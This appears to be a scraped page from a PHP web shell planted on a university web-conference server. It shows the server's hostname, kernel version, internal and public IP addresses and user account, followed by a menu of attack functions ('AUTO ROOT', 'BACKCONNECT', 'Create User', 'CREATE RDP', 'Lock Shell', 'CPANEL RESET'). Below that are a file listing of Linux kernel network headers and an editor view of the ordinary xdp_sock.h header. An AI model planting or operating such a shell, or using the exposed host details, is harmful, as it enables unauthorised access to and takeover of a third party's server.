Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.191.195.57
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-204 /
include /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
9p
[ DIR ]
drwxr-xr-x
bluetooth
[ DIR ]
drwxr-xr-x
caif
[ DIR ]
drwxr-xr-x
iucv
[ DIR ]
drwxr-xr-x
netfilter
[ DIR ]
drwxr-xr-x
netns
[ DIR ]
drwxr-xr-x
nfc
[ DIR ]
drwxr-xr-x
phonet
[ DIR ]
drwxr-xr-x
sctp
[ DIR ]
drwxr-xr-x
tc_act
[ DIR ]
drwxr-xr-x
6lowpan.h
10.03
KB
-rw-r--r--
Space.h
1.07
KB
-rw-r--r--
act_api.h
6.98
KB
-rw-r--r--
addrconf.h
14.1
KB
-rw-r--r--
af_ieee802154.h
1.19
KB
-rw-r--r--
af_rxrpc.h
2.65
KB
-rw-r--r--
af_unix.h
2.59
KB
-rw-r--r--
af_vsock.h
6.8
KB
-rw-r--r--
ah.h
382
B
-rw-r--r--
arp.h
2.09
KB
-rw-r--r--
atmclip.h
1.48
KB
-rw-r--r--
ax25.h
15.08
KB
-rw-r--r--
ax88796.h
1.31
KB
-rw-r--r--
bond_3ad.h
9.44
KB
-rw-r--r--
bond_alb.h
5.92
KB
-rw-r--r--
bond_options.h
3.74
KB
-rw-r--r--
bonding.h
19.63
KB
-rw-r--r--
bpf_sk_storage.h
558
B
-rw-r--r--
busy_poll.h
3.23
KB
-rw-r--r--
calipso.h
1.55
KB
-rw-r--r--
cfg80211-wext.h
1.81
KB
-rw-r--r--
cfg80211.h
265.02
KB
-rw-r--r--
cfg802154.h
10.51
KB
-rw-r--r--
checksum.h
4.67
KB
-rw-r--r--
cipso_ipv4.h
7.61
KB
-rw-r--r--
cls_cgroup.h
1.94
KB
-rw-r--r--
codel.h
5.65
KB
-rw-r--r--
codel_impl.h
7.98
KB
-rw-r--r--
codel_qdisc.h
2.9
KB
-rw-r--r--
compat.h
1.44
KB
-rw-r--r--
datalink.h
619
B
-rw-r--r--
dcbevent.h
742
B
-rw-r--r--
dcbnl.h
4.22
KB
-rw-r--r--
devlink.h
33.11
KB
-rw-r--r--
drop_monitor.h
788
B
-rw-r--r--
dsa.h
19.45
KB
-rw-r--r--
dsfield.h
1.11
KB
-rw-r--r--
dst.h
13.23
KB
-rw-r--r--
dst_cache.h
2.54
KB
-rw-r--r--
dst_metadata.h
5.39
KB
-rw-r--r--
dst_ops.h
2.08
KB
-rw-r--r--
erspan.h
8.96
KB
-rw-r--r--
esp.h
877
B
-rw-r--r--
ethoc.h
391
B
-rw-r--r--
failover.h
1.15
KB
-rw-r--r--
fib_notifier.h
1.28
KB
-rw-r--r--
fib_rules.h
5.48
KB
-rw-r--r--
firewire.h
636
B
-rw-r--r--
flow.h
5.92
KB
-rw-r--r--
flow_dissector.h
8.99
KB
-rw-r--r--
flow_offload.h
10.72
KB
-rw-r--r--
fou.h
549
B
-rw-r--r--
fq.h
2.7
KB
-rw-r--r--
fq_impl.h
7
KB
-rw-r--r--
garp.h
2.62
KB
-rw-r--r--
gen_stats.h
2.7
KB
-rw-r--r--
genetlink.h
12.24
KB
-rw-r--r--
geneve.h
1.85
KB
-rw-r--r--
gre.h
3.3
KB
-rw-r--r--
gro_cells.h
443
B
-rw-r--r--
gtp.h
633
B
-rw-r--r--
gue.h
3.23
KB
-rw-r--r--
hwbm.h
969
B
-rw-r--r--
icmp.h
1.81
KB
-rw-r--r--
ieee80211_radiotap.h
13.04
KB
-rw-r--r--
ieee802154_netdev.h
9.86
KB
-rw-r--r--
if_inet6.h
6.19
KB
-rw-r--r--
ife.h
1.03
KB
-rw-r--r--
ila.h
291
B
-rw-r--r--
inet6_connection_sock.h
765
B
-rw-r--r--
inet6_hashtables.h
3.45
KB
-rw-r--r--
inet_common.h
2.27
KB
-rw-r--r--
inet_connection_sock.h
11.4
KB
-rw-r--r--
inet_ecn.h
7.5
KB
-rw-r--r--
inet_frag.h
4.9
KB
-rw-r--r--
inet_hashtables.h
13.77
KB
-rw-r--r--
inet_sock.h
9.48
KB
-rw-r--r--
inet_timewait_sock.h
3.65
KB
-rw-r--r--
inetpeer.h
3.29
KB
-rw-r--r--
ip.h
21.92
KB
-rw-r--r--
ip6_checksum.h
2.69
KB
-rw-r--r--
ip6_fib.h
13.23
KB
-rw-r--r--
ip6_route.h
9.89
KB
-rw-r--r--
ip6_tunnel.h
4.98
KB
-rw-r--r--
ip_fib.h
13.57
KB
-rw-r--r--
ip_tunnels.h
14.69
KB
-rw-r--r--
ip_vs.h
48.06
KB
-rw-r--r--
ipcomp.h
659
B
-rw-r--r--
ipconfig.h
811
B
-rw-r--r--
ipv6.h
32.75
KB
-rw-r--r--
ipv6_frag.h
2.65
KB
-rw-r--r--
ipv6_stubs.h
2.74
KB
-rw-r--r--
ipx.h
4.28
KB
-rw-r--r--
iw_handler.h
20.91
KB
-rw-r--r--
kcm.h
4.84
KB
-rw-r--r--
l3mdev.h
6.14
KB
-rw-r--r--
lag.h
409
B
-rw-r--r--
lapb.h
4.75
KB
-rw-r--r--
lib80211.h
3.92
KB
-rw-r--r--
llc.h
4.41
KB
-rw-r--r--
llc_c_ac.h
9.31
KB
-rw-r--r--
llc_c_ev.h
10.68
KB
-rw-r--r--
llc_c_st.h
1.72
KB
-rw-r--r--
llc_conn.h
4.06
KB
-rw-r--r--
llc_if.h
2.16
KB
-rw-r--r--
llc_pdu.h
14.35
KB
-rw-r--r--
llc_s_ac.h
1.55
KB
-rw-r--r--
llc_s_ev.h
2.2
KB
-rw-r--r--
llc_s_st.h
947
B
-rw-r--r--
llc_sap.h
1.08
KB
-rw-r--r--
lwtunnel.h
6.54
KB
-rw-r--r--
mac80211.h
250.97
KB
-rw-r--r--
mac802154.h
14.88
KB
-rw-r--r--
mip6.h
1017
B
-rw-r--r--
mld.h
2.8
KB
-rw-r--r--
mpls.h
535
B
-rw-r--r--
mpls_iptunnel.h
430
B
-rw-r--r--
mrp.h
3.05
KB
-rw-r--r--
ncsi.h
1.92
KB
-rw-r--r--
ndisc.h
14.77
KB
-rw-r--r--
neighbour.h
15.75
KB
-rw-r--r--
net_failover.h
1023
B
-rw-r--r--
net_namespace.h
11.96
KB
-rw-r--r--
net_ratelimit.h
220
B
-rw-r--r--
netevent.h
1.02
KB
-rw-r--r--
netlabel.h
20.14
KB
-rw-r--r--
netlink.h
56.77
KB
-rw-r--r--
netprio_cgroup.h
1.03
KB
-rw-r--r--
netrom.h
7.71
KB
-rw-r--r--
nexthop.h
7.58
KB
-rw-r--r--
nl802154.h
12.09
KB
-rw-r--r--
nsh.h
12.31
KB
-rw-r--r--
p8022.h
447
B
-rw-r--r--
page_pool.h
6.46
KB
-rw-r--r--
ping.h
2.9
KB
-rw-r--r--
pkt_cls.h
19.61
KB
-rw-r--r--
pkt_sched.h
4.61
KB
-rw-r--r--
pptp.h
557
B
-rw-r--r--
protocol.h
3.82
KB
-rw-r--r--
psample.h
888
B
-rw-r--r--
psnap.h
351
B
-rw-r--r--
raw.h
2.09
KB
-rw-r--r--
rawv6.h
854
B
-rw-r--r--
red.h
10.45
KB
-rw-r--r--
regulatory.h
10.89
KB
-rw-r--r--
request_sock.h
6.37
KB
-rw-r--r--
rose.h
7.62
KB
-rw-r--r--
route.h
10.87
KB
-rw-r--r--
rsi_91x.h
1.67
KB
-rw-r--r--
rtnetlink.h
6.28
KB
-rw-r--r--
rtnh.h
859
B
-rw-r--r--
sch_generic.h
33.09
KB
-rw-r--r--
scm.h
3.75
KB
-rw-r--r--
secure_seq.h
855
B
-rw-r--r--
seg6.h
1.57
KB
-rw-r--r--
seg6_hmac.h
1.44
KB
-rw-r--r--
seg6_local.h
644
B
-rw-r--r--
slhc_vj.h
6.67
KB
-rw-r--r--
smc.h
2.18
KB
-rw-r--r--
snmp.h
5.02
KB
-rw-r--r--
sock.h
75.38
KB
-rw-r--r--
sock_reuseport.h
1.58
KB
-rw-r--r--
stp.h
383
B
-rw-r--r--
strparser.h
4.03
KB
-rw-r--r--
switchdev.h
8
KB
-rw-r--r--
tcp.h
70.49
KB
-rw-r--r--
tcp_states.h
1.2
KB
-rw-r--r--
timewait_sock.h
925
B
-rw-r--r--
tipc.h
2.35
KB
-rw-r--r--
tls.h
19.86
KB
-rw-r--r--
transp_v6.h
2.05
KB
-rw-r--r--
tso.h
515
B
-rw-r--r--
tun_proto.h
988
B
-rw-r--r--
udp.h
14.71
KB
-rw-r--r--
udp_tunnel.h
5.37
KB
-rw-r--r--
udplite.h
3.67
KB
-rw-r--r--
vsock_addr.h
657
B
-rw-r--r--
vxlan.h
13.45
KB
-rw-r--r--
wext.h
1.47
KB
-rw-r--r--
wimax.h
19.36
KB
-rw-r--r--
x25.h
9.43
KB
-rw-r--r--
x25device.h
387
B
-rw-r--r--
xdp.h
5.32
KB
-rw-r--r--
xdp_priv.h
446
B
-rw-r--r--
xdp_sock.h
8.26
KB
-rw-r--r--
xfrm.h
53.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xdp_sock.h
/* SPDX-License-Identifier: GPL-2.0 */ /* AF_XDP internal functions * Copyright(c) 2018 Intel Corporation. */ #ifndef _LINUX_XDP_SOCK_H #define _LINUX_XDP_SOCK_H #include <linux/workqueue.h> #include <linux/if_xdp.h> #include <linux/mutex.h> #include <linux/spinlock.h> #include <linux/mm.h> #include <net/sock.h> struct net_device; struct xsk_queue; /* Masks for xdp_umem_page flags. * The low 12-bits of the addr will be 0 since this is the page address, so we * can use them for flags. */ #define XSK_NEXT_PG_CONTIG_SHIFT 0 #define XSK_NEXT_PG_CONTIG_MASK (1ULL << XSK_NEXT_PG_CONTIG_SHIFT) struct xdp_umem_page { void *addr; dma_addr_t dma; }; struct xdp_umem_fq_reuse { u32 nentries; u32 length; u64 handles[]; }; /* Flags for the umem flags field. * * The NEED_WAKEUP flag is 1 due to the reuse of the flags field for public * flags. See inlude/uapi/include/linux/if_xdp.h. */ #define XDP_UMEM_USES_NEED_WAKEUP (1 << 1) struct xdp_umem { struct xsk_queue *fq; struct xsk_queue *cq; struct xdp_umem_page *pages; u64 chunk_mask; u64 size; u32 headroom; u32 chunk_size_nohr; struct user_struct *user; unsigned long address; refcount_t users; struct work_struct work; struct page **pgs; u32 npgs; u16 queue_id; u8 need_wakeup; u8 flags; int id; struct net_device *dev; struct xdp_umem_fq_reuse *fq_reuse; bool zc; spinlock_t xsk_list_lock; struct list_head xsk_list; }; /* Nodes are linked in the struct xdp_sock map_list field, and used to * track which maps a certain socket reside in. */ struct xsk_map; struct xsk_map_node { struct list_head node; struct xsk_map *map; struct xdp_sock **map_entry; }; struct xdp_sock { /* struct sock must be the first member of struct xdp_sock */ struct sock sk; struct xsk_queue *rx; struct net_device *dev; struct xdp_umem *umem; struct list_head flush_node; u16 queue_id; bool zc; enum { XSK_READY = 0, XSK_BOUND, XSK_UNBOUND, } state; /* Protects multiple processes in the control path */ struct mutex mutex; struct xsk_queue *tx ____cacheline_aligned_in_smp; struct list_head list; /* Mutual exclusion of NAPI TX thread and sendmsg error paths * in the SKB destructor callback. */ spinlock_t tx_completion_lock; /* Protects generic receive. */ spinlock_t rx_lock; u64 rx_dropped; struct list_head map_list; /* Protects map_list */ spinlock_t map_list_lock; }; struct xdp_buff; #ifdef CONFIG_XDP_SOCKETS int xsk_generic_rcv(struct xdp_sock *xs, struct xdp_buff *xdp); int xsk_rcv(struct xdp_sock *xs, struct xdp_buff *xdp); void xsk_flush(struct xdp_sock *xs); bool xsk_is_setup_for_bpf_map(struct xdp_sock *xs); /* Used from netdev driver */ bool xsk_umem_has_addrs(struct xdp_umem *umem, u32 cnt); u64 *xsk_umem_peek_addr(struct xdp_umem *umem, u64 *addr); void xsk_umem_discard_addr(struct xdp_umem *umem); void xsk_umem_complete_tx(struct xdp_umem *umem, u32 nb_entries); bool xsk_umem_consume_tx(struct xdp_umem *umem, struct xdp_desc *desc); void xsk_umem_consume_tx_done(struct xdp_umem *umem); struct xdp_umem_fq_reuse *xsk_reuseq_prepare(u32 nentries); struct xdp_umem_fq_reuse *xsk_reuseq_swap(struct xdp_umem *umem, struct xdp_umem_fq_reuse *newq); void xsk_reuseq_free(struct xdp_umem_fq_reuse *rq); struct xdp_umem *xdp_get_umem_from_qid(struct net_device *dev, u16 queue_id); void xsk_set_rx_need_wakeup(struct xdp_umem *umem); void xsk_set_tx_need_wakeup(struct xdp_umem *umem); void xsk_clear_rx_need_wakeup(struct xdp_umem *umem); void xsk_clear_tx_need_wakeup(struct xdp_umem *umem); bool xsk_umem_uses_need_wakeup(struct xdp_umem *umem); void xsk_map_try_sock_delete(struct xsk_map *map, struct xdp_sock *xs, struct xdp_sock **map_entry); int xsk_map_inc(struct xsk_map *map); void xsk_map_put(struct xsk_map *map); static inline u64 xsk_umem_extract_addr(u64 addr) { return addr & XSK_UNALIGNED_BUF_ADDR_MASK; } static inline u64 xsk_umem_extract_offset(u64 addr) { return addr >> XSK_UNALIGNED_BUF_OFFSET_SHIFT; } static inline u64 xsk_umem_add_offset_to_addr(u64 addr) { return xsk_umem_extract_addr(addr) + xsk_umem_extract_offset(addr); } static inline char *xdp_umem_get_data(struct xdp_umem *umem, u64 addr) { unsigned long page_addr; addr = xsk_umem_add_offset_to_addr(addr); page_addr = (unsigned long)umem->pages[addr >> PAGE_SHIFT].addr; return (char *)(page_addr & PAGE_MASK) + (addr & ~PAGE_MASK); } static inline dma_addr_t xdp_umem_get_dma(struct xdp_umem *umem, u64 addr) { addr = xsk_umem_add_offset_to_addr(addr); return umem->pages[addr >> PAGE_SHIFT].dma + (addr & ~PAGE_MASK); } /* Reuse-queue aware version of FILL queue helpers */ static inline bool xsk_umem_has_addrs_rq(struct xdp_umem *umem, u32 cnt) { struct xdp_umem_fq_reuse *rq = umem->fq_reuse; if (rq->length >= cnt) return true; return xsk_umem_has_addrs(umem, cnt - rq->length); } static inline u64 *xsk_umem_peek_addr_rq(struct xdp_umem *umem, u64 *addr) { struct xdp_umem_fq_reuse *rq = umem->fq_reuse; if (!rq->length) return xsk_umem_peek_addr(umem, addr); *addr = rq->handles[rq->length - 1]; return addr; } static inline void xsk_umem_discard_addr_rq(struct xdp_umem *umem) { struct xdp_umem_fq_reuse *rq = umem->fq_reuse; if (!rq->length) xsk_umem_discard_addr(umem); else rq->length--; } static inline void xsk_umem_fq_reuse(struct xdp_umem *umem, u64 addr) { struct xdp_umem_fq_reuse *rq = umem->fq_reuse; rq->handles[rq->length++] = addr; } /* Handle the offset appropriately depending on aligned or unaligned mode. * For unaligned mode, we store the offset in the upper 16-bits of the address. * For aligned mode, we simply add the offset to the address. */ static inline u64 xsk_umem_adjust_offset(struct xdp_umem *umem, u64 address, u64 offset) { if (umem->flags & XDP_UMEM_UNALIGNED_CHUNK_FLAG) return address + (offset << XSK_UNALIGNED_BUF_OFFSET_SHIFT); else return address + offset; } #else static inline int xsk_generic_rcv(struct xdp_sock *xs, struct xdp_buff *xdp) { return -ENOTSUPP; } static inline int xsk_rcv(struct xdp_sock *xs, struct xdp_buff *xdp) { return -ENOTSUPP; } static inline void xsk_flush(struct xdp_sock *xs) { } static inline bool xsk_is_setup_for_bpf_map(struct xdp_sock *xs) { return false; } static inline bool xsk_umem_has_addrs(struct xdp_umem *umem, u32 cnt) { return false; } static inline u64 *xsk_umem_peek_addr(struct xdp_umem *umem, u64 *addr) { return NULL; } static inline void xsk_umem_discard_addr(struct xdp_umem *umem) { } static inline void xsk_umem_complete_tx(struct xdp_umem *umem, u32 nb_entries) { } static inline bool xsk_umem_consume_tx(struct xdp_umem *umem, struct xdp_desc *desc) { return false; } static inline void xsk_umem_consume_tx_done(struct xdp_umem *umem) { } static inline struct xdp_umem_fq_reuse *xsk_reuseq_prepare(u32 nentries) { return NULL; } static inline struct xdp_umem_fq_reuse *xsk_reuseq_swap( struct xdp_umem *umem, struct xdp_umem_fq_reuse *newq) { return NULL; } static inline void xsk_reuseq_free(struct xdp_umem_fq_reuse *rq) { } static inline struct xdp_umem *xdp_get_umem_from_qid(struct net_device *dev, u16 queue_id) { return NULL; } static inline u64 xsk_umem_extract_addr(u64 addr) { return 0; } static inline u64 xsk_umem_extract_offset(u64 addr) { return 0; } static inline u64 xsk_umem_add_offset_to_addr(u64 addr) { return 0; } static inline char *xdp_umem_get_data(struct xdp_umem *umem, u64 addr) { return NULL; } static inline dma_addr_t xdp_umem_get_dma(struct xdp_umem *umem, u64 addr) { return 0; } static inline bool xsk_umem_has_addrs_rq(struct xdp_umem *umem, u32 cnt) { return false; } static inline u64 *xsk_umem_peek_addr_rq(struct xdp_umem *umem, u64 *addr) { return NULL; } static inline void xsk_umem_discard_addr_rq(struct xdp_umem *umem) { } static inline void xsk_umem_fq_reuse(struct xdp_umem *umem, u64 addr) { } static inline void xsk_set_rx_need_wakeup(struct xdp_umem *umem) { } static inline void xsk_set_tx_need_wakeup(struct xdp_umem *umem) { } static inline void xsk_clear_rx_need_wakeup(struct xdp_umem *umem) { } static inline void xsk_clear_tx_need_wakeup(struct xdp_umem *umem) { } static inline bool xsk_umem_uses_need_wakeup(struct xdp_umem *umem) { return false; } static inline u64 xsk_umem_adjust_offset(struct xdp_umem *umem, u64 handle, u64 offset) { return 0; } #endif /* CONFIG_XDP_SOCKETS */ #endif /* _LINUX_XDP_SOCK_H */
Close